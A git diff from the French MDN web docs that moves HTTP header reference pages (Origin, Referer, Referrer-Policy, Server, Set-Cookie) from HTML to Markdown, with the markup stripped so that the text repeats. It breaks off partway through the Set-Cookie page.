L’en-tête de requête Origin indique la provenance de la requête. Il n’inclut aucune information de chemin, seulement le nom du serveur. Il est envoyé avec les requêtes {{Glossary("CORS")}}, ainsi que les requêtes {{HTTPMethod("POST")}}. Il est similaire à l’en-tête {{HTTPHeader("Referer")}}, mais, contrairement à ce dernier, il n’inclut pas le chemin complet.

- - - - - - - - - - - - -
Type d’en-tête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}oui
- -

Syntaxe

- -
Origin: ""
-Origin: <scheme> "://" <hostname> [ ":" <port> ]
-
- -

Origin peut être une chaîne vide : c’est utile, par exemple, si la source est une data URL.

- -

Directives

- -
-
<scheme>
-
Le protocole utilisé. Il s’agit en général du protocole HTTP ou de sa version sécurisée, HTTPS.
-
<hostname>
-
Le nom de domaine du serveur (for virtual hosting) ou l’IP.
-
<port> {{optional_inline}}
-
Un numéro de port TCP sur lequel le serveur écoute. Si aucun port n’est donné, le port par défaut pour le service demandé (p. ex. 80 pour une URL HTTP) est supposé.
-
- -

Exemples

- -
Origin: https://developer.mozilla.org
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationCommentaire
{{RFC("6454", "Origin", "7")}}Le concept de Web Origin
{{SpecName('Fetch','#origin-header','Origin header')}}Remplace l’en-tête Origin tel que défini dans la RFC6454.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Origin")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/origin/index.md b/files/fr/web/http/headers/origin/index.md new file mode 100644 index 0000000000..85498197f0 --- /dev/null +++ b/files/fr/web/http/headers/origin/index.md @@ -0,0 +1,77 @@ +--- +title: Origin +slug: Web/HTTP/Headers/Origin +tags: + - Reference +translation_of: Web/HTTP/Headers/Origin +--- +
{{HTTPSidebar}}
+ +

L’en-tête de requête Origin indique la provenance de la requête. Il n’inclut aucune information de chemin, seulement le nom du serveur. Il est envoyé avec les requêtes {{Glossary("CORS")}}, ainsi que les requêtes {{HTTPMethod("POST")}}. Il est similaire à l’en-tête {{HTTPHeader("Referer")}}, mais, contrairement à ce dernier, il n’inclut pas le chemin complet.

+ + + + + + + + + + + + +
Type d’en-tête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}oui
+ +

Syntaxe

+ +
Origin: ""
+Origin: <scheme> "://" <hostname> [ ":" <port> ]
+
+ +

Origin peut être une chaîne vide : c’est utile, par exemple, si la source est une data URL.

+ +

Directives

+ +
+
<scheme>
+
Le protocole utilisé. Il s’agit en général du protocole HTTP ou de sa version sécurisée, HTTPS.
+
<hostname>
+
Le nom de domaine du serveur (for virtual hosting) ou l’IP.
+
<port> {{optional_inline}}
+
Un numéro de port TCP sur lequel le serveur écoute. Si aucun port n’est donné, le port par défaut pour le service demandé (p. ex. 80 pour une URL HTTP) est supposé.
+
+ +

Exemples

+ +
Origin: https://developer.mozilla.org
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationCommentaire
{{RFC("6454", "Origin", "7")}}Le concept de Web Origin
{{SpecName('Fetch','#origin-header','Origin header')}}Remplace l’en-tête Origin tel que défini dans la RFC6454.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Origin")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/referer/index.html b/files/fr/web/http/headers/referer/index.html deleted file mode 100644 index 17a4b3cbd9..0000000000 --- a/files/fr/web/http/headers/referer/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Referer -slug: Web/HTTP/Headers/Referer -tags: - - HTTP - - Reference - - header - - referer - - referrer -translation_of: Web/HTTP/Headers/Referer ---- -
{{HTTPSidebar}}
- -

L'en-tête de requête Referer contient l'adresse de la page web précédente à partir de laquelle un lien a été suivi pour demander la page courante. L'en-tête Referer permet aux serveurs d'identifier la provenance des visiteurs d'une page et cette information peut être utilisée à des fins d'analyse, de journalisation ou pour améliorer la politique de cache par exemple.

- -
-

Attention : Bien que cet en-tête puisse être utilisé à de nombreuses fins légitimes, il peut avoir des effets indésirables sur la sécurité et la vie privée. Voir la page Questions de sécurité et de vie privée : quid de l'en-tête referer pour plus d'informations et des méthodes d'atténuation.

-
- -

Note : le terme referer est orthographié ainsi bien qu'il s'agisse d'une erreur à partir du mot anglais "referrer". Voir {{interwiki("wikipedia", "HTTP_referer", "L'en-tête referer HTTP sur Wikipédia")}} pour plus de détails.

- -

Un en-tête Referer n'est pas envoyé par les navigateurs si :

- - - - - - - - - - - - - - -
Type d'en-tête{{Glossary("En-tête de requête")}}
Nom d'en-tête interditOui
- -

Syntaxe

- -
Referer: <url>
-
- -

Directives

- -
-
<url>
-
Une adresse absolue ou partielle de la page web à partir de laquelle la requête vers la page courante a été émise. Les fragements d'URL (i.e. "#section") et les informations d'utilisateurs (i.e. "username:password" dans "https://username:password@example.com/toto/truc/") ne sont pas incluses.
-
- -

Exemples

- -
Referer: https://developer.mozilla.org/fr/docs/Web/JavaScript
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "Referer", "5.5.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content (Protocole de transfert hypertext (HTTP/1.1): Sémantique et contenu).
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Referer")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/referer/index.md b/files/fr/web/http/headers/referer/index.md new file mode 100644 index 0000000000..17a4b3cbd9 --- /dev/null +++ b/files/fr/web/http/headers/referer/index.md @@ -0,0 +1,84 @@ +--- +title: Referer +slug: Web/HTTP/Headers/Referer +tags: + - HTTP + - Reference + - header + - referer + - referrer +translation_of: Web/HTTP/Headers/Referer +--- +
{{HTTPSidebar}}
+ +

L'en-tête de requête Referer contient l'adresse de la page web précédente à partir de laquelle un lien a été suivi pour demander la page courante. L'en-tête Referer permet aux serveurs d'identifier la provenance des visiteurs d'une page et cette information peut être utilisée à des fins d'analyse, de journalisation ou pour améliorer la politique de cache par exemple.

+ +
+

Attention : Bien que cet en-tête puisse être utilisé à de nombreuses fins légitimes, il peut avoir des effets indésirables sur la sécurité et la vie privée. Voir la page Questions de sécurité et de vie privée : quid de l'en-tête referer pour plus d'informations et des méthodes d'atténuation.

+
+ +

Note : le terme referer est orthographié ainsi bien qu'il s'agisse d'une erreur à partir du mot anglais "referrer". Voir {{interwiki("wikipedia", "HTTP_referer", "L'en-tête referer HTTP sur Wikipédia")}} pour plus de détails.

+ +

Un en-tête Referer n'est pas envoyé par les navigateurs si :

+ + + + + + + + + + + + + + +
Type d'en-tête{{Glossary("En-tête de requête")}}
Nom d'en-tête interditOui
+ +

Syntaxe

+ +
Referer: <url>
+
+ +

Directives

+ +
+
<url>
+
Une adresse absolue ou partielle de la page web à partir de laquelle la requête vers la page courante a été émise. Les fragements d'URL (i.e. "#section") et les informations d'utilisateurs (i.e. "username:password" dans "https://username:password@example.com/toto/truc/") ne sont pas incluses.
+
+ +

Exemples

+ +
Referer: https://developer.mozilla.org/fr/docs/Web/JavaScript
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationTitre
{{RFC("7231", "Referer", "5.5.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content (Protocole de transfert hypertext (HTTP/1.1): Sémantique et contenu).
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Referer")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/referrer-policy/index.html b/files/fr/web/http/headers/referrer-policy/index.html deleted file mode 100644 index 0020ea23fb..0000000000 --- a/files/fr/web/http/headers/referrer-policy/index.html +++ /dev/null @@ -1,267 +0,0 @@ ---- -title: Referrer-Policy -slug: Web/HTTP/Headers/Referrer-Policy -tags: - - HTTP - - HTTP Header - - Privacy - - Reference - - Referrer-Policy - - Response - - Response Header - - Réponse - - en-tête - - referrer -translation_of: Web/HTTP/Headers/Referrer-Policy ---- -
{{HTTPSidebar}}
- -

L'en-tête {{glossary("HTTP header")}} Referrer-Policy contrôle la quantité d'informations sur le référent (referrer) (envoyées par l'en-tête {{HTTPHeader("Referer")}}) incluses dans la requête.

- - - - - - - - - - - - -
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
- -

Syntaxe

- -
-

Note : Le nom originel de l'en-tête, {{HTTPHeader("Referer")}}, est une faute de frappe du mot anglais "referrer". L'en-tête Referrer-Policy ne comporte pas cette erreur.

-
- -
Referrer-Policy: no-referrer
-Referrer-Policy: no-referrer-when-downgrade
-Referrer-Policy: origin
-Referrer-Policy: origin-when-cross-origin
-Referrer-Policy: same-origin
-Referrer-Policy: strict-origin
-Referrer-Policy: strict-origin-when-cross-origin
-Referrer-Policy: unsafe-url
-
- -

Directives

- -
-
no-referrer
-
L'en-tête {{HTTPHeader("Referer")}} sera entièrement omis. Aucune information sur le référent ne sera envoyée avec les requêtes.
-
no-referrer-when-downgrade (default)
-
C'est le comportement par défaut si aucune valeur n'est spécifiée ou quelle celle donnée est invalide. L'{{glossary("origin")}}, le {{glossary("path")}}, et la {{glossary("querystring")}} de l'URL sont envoyés comme référent quand le niveau de sécurité du protocole reste le même (HTTP vers HTTP, HTTPS vers HTTPS) ou s'améliore (HTTP vers HTTPS) mais ne sont pas envoyés quand si la destination est moins sécurisée (HTTPS vers HTTP). -
-

Note : Les navigateurs tentent d'adopter une valeur par défaut plus stricte, précisément strict-origin-when-cross-origin (voir https://github.com/whatwg/fetch/pull/952), envisagez d'utiliser cette valeur (ou une autre encore plus stricte) si possible si vous définissez la valeur de Referrer-Policy.

-
-
-
origin
-
N'envoie que l'{{glossary("origin")}} du document comme référent.
- Par exemple, un document à l'adresse https://example.com/page.html enverra le référent https://example.com/.
-
origin-when-cross-origin
-
Envoie l'origine, le chemin et les paramètres de requête pour les requêtes {{glossary("Same-origin_policy", "same-origin")}} et seulement l'origine du document dans les autres cas.
-
same-origin
-
Un référent sera envoyé aux page de même origine, mais des requêtes vers des adresses externes n'enverront aucune information sur le référent.
-
strict-origin
-
N'envoie que l'origine du document comme référent quand le niveau de sécurité du protocole reste le même (HTTPS vers HTTPS) mais n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP).
-
strict-origin-when-cross-origin
-
Envoie l'origine, le chemin et les paramètres de requête pour les requêtes de même origine, n'envoie que l'origine quand le niveau de sécurité du protocole reste le même pour les requêtes vers des adresses externes (HTTPS vers HTTPS) et n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP).
-
unsafe-url
-
Envoie l'origine, le chemin et les paramètres de requête pour toutes les requêtes sans tenir compte du niveau de sécurité. -
-

Attention : Cette valeur divulgera des informations potentiellement confidentielles de la part des URL de ressources HTTPS vers des origines non sécurisées. Considérez les conséquences de ce paramétrage avant de vous en servir.

-
-
-
- -

Intégration avec HTML

- -

Vous pouvez aussi définir des règles de référent au sein d'HTML. Par exemple, vous pouvez définir la règle de référent pour le document entier avec un élément {{HTMLElement("meta")}} dont le name est referrer :

- -
<meta name="referrer" content="origin">
- -

Ou le définit pour des requêtes spécifiques avec l'attribut referrerpolicy sur les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, {{HTMLElement("script")}}, ou {{HTMLElement("link")}} :

- -
<a href="http://example.com" referrerpolicy="origin">
- -

Autrement, une relation de lien définie à noreferrer sur un élément a, area, ou link peut être défini :

- -
<a href="http://example.com" rel="noreferrer">
- -
-

Attention : Comme vu précédemment, la relation de lien noreferrer s'écrit sans trait d'union. Toutefois, quand la règle de référent est spécifiée pour le document entier avec un élément {{HTMLElement("meta")}}, il faut mettre le trait d'union : <meta name="referrer" content="no-referrer">.

-
- -

Intégration avec CSS

- -

CSS peut demander des ressources référencées dans des feuilles de styles. Ces ressources suivent une règle de référent aussi :

- - - -

Exemples

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
RègleDocumentNavigation versRéférent
no-referrerhttps://example.com/pagen'importe où(pas de référent)
no-referrer-when-downgradehttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.orghttps://example.com/page
http://example.org(pas de référent)
originhttps://example.com/pagen'importe oùhttps://example.com/
origin-when-cross-originhttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.orghttps://example.com/
http://example.com/pagehttps://example.com/
same-originhttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.org(pas de référent)
strict-originhttps://example.com/pagehttps://mozilla.orghttps://example.com/
http://example.org(pas de référent)
http://example.com/pagen'importe oùhttp://example.com/
strict-origin-when-cross-originhttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.orghttps://example.com/
http://example.org(pas de référent)
unsafe-urlhttps://example.com/page?q=123n'importe oùhttps://example.com/page?q=123
- -

Spécifier une règle par défaut

- -

Si vous voulez spécifier une règle à appliquer par défaut dans les où la règle voulue n'est pas supportée par les navigateurs, utilisez un liste de valeurs séparées par des virgules avec la règle voulue fournie en dernière position :

- -
Referrer-Policy: no-referrer, strict-origin-when-cross-origin
- -

Ici, no-referrer ne sera utilisée que si strict-origin-when-cross-origin n'est pas supportée par le navigateur.

- -
-

Note : Spécifier plusieurs valeurs n'est supporté que dans l'en-tête HTTP Referrer-Policy et non dans l'attribut referrerpolicy.

-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationStatut
Referrer Policy Brouillon de l'éditeur.
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Referrer-Policy")}}

- -
-

Note :

- - -

Les valeurs permises sont :

- - -
- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/referrer-policy/index.md b/files/fr/web/http/headers/referrer-policy/index.md new file mode 100644 index 0000000000..0020ea23fb --- /dev/null +++ b/files/fr/web/http/headers/referrer-policy/index.md @@ -0,0 +1,267 @@ +--- +title: Referrer-Policy +slug: Web/HTTP/Headers/Referrer-Policy +tags: + - HTTP + - HTTP Header + - Privacy + - Reference + - Referrer-Policy + - Response + - Response Header + - Réponse + - en-tête + - referrer +translation_of: Web/HTTP/Headers/Referrer-Policy +--- +
{{HTTPSidebar}}
+ +

L'en-tête {{glossary("HTTP header")}} Referrer-Policy contrôle la quantité d'informations sur le référent (referrer) (envoyées par l'en-tête {{HTTPHeader("Referer")}}) incluses dans la requête.

+ + + + + + + + + + + + +
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
+ +

Syntaxe

+ +
+

Note : Le nom originel de l'en-tête, {{HTTPHeader("Referer")}}, est une faute de frappe du mot anglais "referrer". L'en-tête Referrer-Policy ne comporte pas cette erreur.

+
+ +
Referrer-Policy: no-referrer
+Referrer-Policy: no-referrer-when-downgrade
+Referrer-Policy: origin
+Referrer-Policy: origin-when-cross-origin
+Referrer-Policy: same-origin
+Referrer-Policy: strict-origin
+Referrer-Policy: strict-origin-when-cross-origin
+Referrer-Policy: unsafe-url
+
+ +

Directives

+ +
+
no-referrer
+
L'en-tête {{HTTPHeader("Referer")}} sera entièrement omis. Aucune information sur le référent ne sera envoyée avec les requêtes.
+
no-referrer-when-downgrade (default)
+
C'est le comportement par défaut si aucune valeur n'est spécifiée ou quelle celle donnée est invalide. L'{{glossary("origin")}}, le {{glossary("path")}}, et la {{glossary("querystring")}} de l'URL sont envoyés comme référent quand le niveau de sécurité du protocole reste le même (HTTP vers HTTP, HTTPS vers HTTPS) ou s'améliore (HTTP vers HTTPS) mais ne sont pas envoyés quand si la destination est moins sécurisée (HTTPS vers HTTP). +
+

Note : Les navigateurs tentent d'adopter une valeur par défaut plus stricte, précisément strict-origin-when-cross-origin (voir https://github.com/whatwg/fetch/pull/952), envisagez d'utiliser cette valeur (ou une autre encore plus stricte) si possible si vous définissez la valeur de Referrer-Policy.

+
+
+
origin
+
N'envoie que l'{{glossary("origin")}} du document comme référent.
+ Par exemple, un document à l'adresse https://example.com/page.html enverra le référent https://example.com/.
+
origin-when-cross-origin
+
Envoie l'origine, le chemin et les paramètres de requête pour les requêtes {{glossary("Same-origin_policy", "same-origin")}} et seulement l'origine du document dans les autres cas.
+
same-origin
+
Un référent sera envoyé aux page de même origine, mais des requêtes vers des adresses externes n'enverront aucune information sur le référent.
+
strict-origin
+
N'envoie que l'origine du document comme référent quand le niveau de sécurité du protocole reste le même (HTTPS vers HTTPS) mais n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP).
+
strict-origin-when-cross-origin
+
Envoie l'origine, le chemin et les paramètres de requête pour les requêtes de même origine, n'envoie que l'origine quand le niveau de sécurité du protocole reste le même pour les requêtes vers des adresses externes (HTTPS vers HTTPS) et n'envoie rien si la destination est moins sécurisée (HTTPS vers HTTP).
+
unsafe-url
+
Envoie l'origine, le chemin et les paramètres de requête pour toutes les requêtes sans tenir compte du niveau de sécurité. +
+

Attention : Cette valeur divulgera des informations potentiellement confidentielles de la part des URL de ressources HTTPS vers des origines non sécurisées. Considérez les conséquences de ce paramétrage avant de vous en servir.

+
+
+
+ +

Intégration avec HTML

+ +

Vous pouvez aussi définir des règles de référent au sein d'HTML. Par exemple, vous pouvez définir la règle de référent pour le document entier avec un élément {{HTMLElement("meta")}} dont le name est referrer :

+ +
<meta name="referrer" content="origin">
+ +

Ou le définit pour des requêtes spécifiques avec l'attribut referrerpolicy sur les éléments {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, {{HTMLElement("script")}}, ou {{HTMLElement("link")}} :

+ +
<a href="http://example.com" referrerpolicy="origin">
+ +

Autrement, une relation de lien définie à noreferrer sur un élément a, area, ou link peut être défini :

+ +
<a href="http://example.com" rel="noreferrer">
+ +
+

Attention : Comme vu précédemment, la relation de lien noreferrer s'écrit sans trait d'union. Toutefois, quand la règle de référent est spécifiée pour le document entier avec un élément {{HTMLElement("meta")}}, il faut mettre le trait d'union : <meta name="referrer" content="no-referrer">.

+
+ +

Intégration avec CSS

+ +

CSS peut demander des ressources référencées dans des feuilles de styles. Ces ressources suivent une règle de référent aussi :

+ + + +

Exemples

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RègleDocumentNavigation versRéférent
no-referrerhttps://example.com/pagen'importe où(pas de référent)
no-referrer-when-downgradehttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.orghttps://example.com/page
http://example.org(pas de référent)
originhttps://example.com/pagen'importe oùhttps://example.com/
origin-when-cross-originhttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.orghttps://example.com/
http://example.com/pagehttps://example.com/
same-originhttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.org(pas de référent)
strict-originhttps://example.com/pagehttps://mozilla.orghttps://example.com/
http://example.org(pas de référent)
http://example.com/pagen'importe oùhttp://example.com/
strict-origin-when-cross-originhttps://example.com/pagehttps://example.com/otherpagehttps://example.com/page
https://mozilla.orghttps://example.com/
http://example.org(pas de référent)
unsafe-urlhttps://example.com/page?q=123n'importe oùhttps://example.com/page?q=123
+ +

Spécifier une règle par défaut

+ +

Si vous voulez spécifier une règle à appliquer par défaut dans les où la règle voulue n'est pas supportée par les navigateurs, utilisez un liste de valeurs séparées par des virgules avec la règle voulue fournie en dernière position :

+ +
Referrer-Policy: no-referrer, strict-origin-when-cross-origin
+ +

Ici, no-referrer ne sera utilisée que si strict-origin-when-cross-origin n'est pas supportée par le navigateur.

+ +
+

Note : Spécifier plusieurs valeurs n'est supporté que dans l'en-tête HTTP Referrer-Policy et non dans l'attribut referrerpolicy.

+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatut
Referrer Policy Brouillon de l'éditeur.
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Referrer-Policy")}}

+ +
+

Note :

+ + +

Les valeurs permises sont :

+ + +
+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/server/index.html b/files/fr/web/http/headers/server/index.html deleted file mode 100644 index 5aa0a27da7..0000000000 --- a/files/fr/web/http/headers/server/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Serveur -slug: Web/HTTP/Headers/Server -tags: - - HTTP - - Reference - - header -translation_of: Web/HTTP/Headers/Server -original_slug: Web/HTTP/Headers/Serveur ---- -
{{ HTTPSidebar }}
- -
 
- -

Le paramètre d'entête Server contient des informations à propos du système (ou sous-système) en place sur le serveur qui s'occupe de la requête.

- -

Il est préférable d'éviter les valeurs excessivement longues et/ou détaillées : elles peuvent révéler des détails internes qui pourraient rendre (un peu) plus facile une attaque et l'exploitation d'une éventuelle faille de sécurité.

- - - - - - - - - - - - -
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
- -

Syntaxe

- -
Server: <valeur>
-
- -

Directives

- -
-
<valeur>
-
Le nom du système (ou sous-système) qui gère les requêtes.
-
- -

Exemples

- -
Server: Apache/2.4.1 (Unix)
- -

Spécifications

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "Server", "7.4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- - - -

{{Compat("http.headers.Server")}}

- -

Voir également

- - diff --git a/files/fr/web/http/headers/server/index.md b/files/fr/web/http/headers/server/index.md new file mode 100644 index 0000000000..5aa0a27da7 --- /dev/null +++ b/files/fr/web/http/headers/server/index.md @@ -0,0 +1,71 @@ +--- +title: Serveur +slug: Web/HTTP/Headers/Server +tags: + - HTTP + - Reference + - header +translation_of: Web/HTTP/Headers/Server +original_slug: Web/HTTP/Headers/Serveur +--- +
{{ HTTPSidebar }}
+ +
 
+ +

Le paramètre d'entête Server contient des informations à propos du système (ou sous-système) en place sur le serveur qui s'occupe de la requête.

+ +

Il est préférable d'éviter les valeurs excessivement longues et/ou détaillées : elles peuvent révéler des détails internes qui pourraient rendre (un peu) plus facile une attaque et l'exploitation d'une éventuelle faille de sécurité.

+ + + + + + + + + + + + +
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
+ +

Syntaxe

+ +
Server: <valeur>
+
+ +

Directives

+ +
+
<valeur>
+
Le nom du système (ou sous-système) qui gère les requêtes.
+
+ +

Exemples

+ +
Server: Apache/2.4.1 (Unix)
+ +

Spécifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "Server", "7.4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ + + +

{{Compat("http.headers.Server")}}

+ +

Voir également

+ + diff --git a/files/fr/web/http/headers/set-cookie/index.html b/files/fr/web/http/headers/set-cookie/index.html deleted file mode 100644 index 5208808eb7..0000000000 --- a/files/fr/web/http/headers/set-cookie/index.html +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: Set-Cookie -slug: Web/HTTP/Headers/Set-Cookie -tags: - - Cookies - - HTTP - - Reference - - Response - - header - - samesite -translation_of: Web/HTTP/Headers/Set-Cookie ---- -
{{HTTPSidebar}}
- -

L'en-tête de réponse HTTP Set-Cookie est utilisé pour envoyer un cookie depuis le serveur à l'agent utilisateur afin qu'il puisse le renvoyer dans l'avenir. Pour envoyer plusieurs cookies, on enverra plusieurs en-têtes Set-Cookie dans la même réponse.

- -
-

Attention : Les navigateurs empêchent le code JavaScript front-end d'accéder à l'en-tête Set-Cookie, comme l'exige la spécification Fetch, qui définit Set-Cookie comme un nom d'en-tête de réponse interdit qui doit être filtré de toute réponse exposée au code front-end.

-
- -

Pour plus d'information, voir le guide sur les cookies HTTP.

- - - - - - - - - - - - - - - - -
Type d'en-têteEn-tête de réponse
Nom d'en-tête interditNon
Nom d'en-tête de réponse interditOui
- -

Syntaxe

- -
Set-Cookie: <cookie-name>=<cookie-value>
-Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
-Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
-Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
-Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
-Set-Cookie: <cookie-name>=<cookie-value>; Secure
-Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
-
-Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
-Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax
-Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None
-
-// L'usage d'attributs multiples est également possible, par exemple :
-Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
- -

Attributs

- -
-
<cookie-name>=<cookie-value>
-

Un cookie commence par une paire nom-valeur:

-
    -
  • Le nom porté par <cookie-name> peut-être composé de n'importe quels caractères ASCII, à l'exception des caractères de contrôle, d'espace, de tabulation et des caractères de séparation suivants : ( ) < > @ , ; : \ " / [ ] ? = { }.
    • -
  • La valeur, <cookie-value>, peut éventuellement être entourée de guillemets doubles et peut être composée de n'importe quel caractère ASCII à l'exception des caractères de contrôle, des blancs, des guillemets doubles, d'une virgule, d'un point-virgule ou d'une barre oblique inversée (backslash). Encodage : de nombreuses implémentations encodent les caractères d'URL (URL-encoding) bien que ce ne soit pas nécessaire selon la RFC. Une telle transformation facilite tout de même l'utilisation de caractères autorisés.
    • -
  • Le préfixe __Secure- : les cookies commençant par __Secure- (le tiret fait partie du préfixe) doivent être définis avec le drapeau secure depuis une page sécurisée (HTTPS).
    • -
  • Le préfixe __Host- : Les cookies commençant par __Host- doivent être définis avec le drapeau secure, depuis une page sécurisée (HTTPS), ne doivent pas avoir de domaine spécifié (et donc pas envoyé à un sous-domaine) et le chemin doit être /.
    • -
-
-
Expires=<date> {{optional_inline}}
-
-

Le temps de vie maximal d'un cookie sous la forme d'une date HTTP. Voir Date pour le format requis.

- -

Si non spécifié, le cookie devient un cookie de session. Une session finit quand le client s'arrête, les cookies de sessions sont alors supprimés à ce moment.

- -
-

Attention : Plusieurs navigateurs ont un système de récupération de session qui enregistre les onglets et les restaure quand le navigateur redémarre. Les cookies de session seront aussi restaurés comme si le navigateur ne s'était jamais arrêté.

-
- -

Quand une telle date de péremption est indiquée, elle est relative au client et pas au serveur.

-
-
Max-Age=<number> {{optional_inline}}
-
Le nombre de secondes avant son expiration. Une valeur nulle ou négative fera expirer immédiatement le cookie. Si Expires et Max-Age sont configurés, Max-Age sera prioritaire.
-
Domain=<domain-value> {{optional_inline}}
-

Le domaine où le cookie sera envoyé.

-
    -
  • Si omis, la valeur par défaut sera l'hôte de l'URL du document courant. Les sous-domaines ne seront pas inclus.
    • -
  • Contrairement aux anciennes spécifications, le point au début dans les noms de domaines (.example.com) est ignoré.
    • -
  • Plusieurs valeurs de domaine ne sont pas permises. Si un nom de domaine est spécifié, les sous domaines sont toujours inclus.
    • -
-
-
Path=<path-value> {{optional_inline}}
-
Un chemin qui doit exister dans l'URL de la requête ou le navigateur n'enverra pas d'en-tête Cookie correspondante par la suite. La barre oblique (/) est interprétée comme un séparateur de répertoire. Les sous-répertoires sont inclus, par exemple: pour Path=/docs les répertoires /docs, /docs/Web/ et /docs/Web/HTTP sont concernés.
-
Secure {{optional_inline}}
-

Un cookie sécurisé est envoyé uniquement si la requête est faite en https: (sauf pour localhost). Cependant des informations confidentielles ne devraient jamais être enregistrées dans un cookie classique, en effet le mécanique est non sécurisé et ne chiffre aucune information.

-
-

Note : Les sites non sécurisés (http:) ne peuvent plus définir des cookies Secure désormais (depuis Chrome 52+ et Firefox 52+). Depuis Firefox 75, cette restriction ne s'applique pas pour localhost.

-
-
-
HttpOnly {{optional_inline}}
-
Empêche JavaScript d'accéder au cookie; par exemple, au travers de la propriété Document.cookie, de l'API XMLHttpRequest ou de l'API Request. Cela protège des attaques cross-site scripting (XSS).
-
SameSite=<samesite-value> {{optional_inline}}
-

Contrôle si un cookie est envoyé avec les requêtes d'origine croisée, offrant ainsi une certaine protection contre les attaques de falsification de requêtes inter-sites (CSRF).

-
-

Note : Les normes relatives aux Cookies SameSite ont récemment changé de telle sorte que :

- -
    -
  1. Le comportement d'envoi des cookies si SameSite n'est pas spécifié est SameSite=Lax. Auparavant, le comportement par défaut était que les cookies étaient envoyés pour toutes les requêtes.
    2. -
  2. Les cookies avec SameSite=None doivent désormais également spécifier l'attribut Secure (c'est-à-dire qu'ils nécessitent un contexte sécurisé).
    3. -
- -

Les options ci-dessous couvrent le nouveau comportement. Voir le tableau Compatibilité des navigateurs pour des informations sur la mise en œuvre spécifique des navigateurs (lignes : « SameSite : Defaults to Lax » et « SameSite : Secure context required »).

-
-

Les options sont :

-
    -
  • Strict : le navigateur envoie le cookie uniquement pour les demandes provenant du même site (c'est-à-dire les demandes provenant du même site qui a défini le cookie). Si la demande provient d'une URL différente de l'URL actuelle, aucun cookie avec l'attribut SameSite=Strict n'est envoyé.
    • -
  • Lax : Le cookie n'est pas envoyé sur les requêtes inter-sites, telles que les appels pour charger des images ou des iframes, mais il est envoyé lorsqu'un utilisateur navigue vers le site d'origine à partir d'un site externe (par exemple, s'il suit un lien). C'est le comportement par défaut si l'attribut SameSite n'est pas spécifié.
    • -
  • None : Le navigateur envoie le cookie avec les requêtes inter-sites et les requêtes sur un même site. L'attribut Secure doit également être défini lorsque SameSite=None !
    • -
-
-
- -

Exemples

- - - -

Les cookies de session sont supprimés quand le client s'éteint. Les cookies sont des cookies de session s'ils n'ont pas de directive Expires ou Max-Age.

- -
Set-Cookie: sessionId=38afes7a8
- - - -

Au lieu d'expirer lorsque le client est fermé, les cookies permanents expirent à une date spécifique (Expires) ou après une valeur de temps (Max-Age).

- -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT
- -
Set-Cookie: id=a3fWa; Max-Age=2592000
- -

Domaines invalides

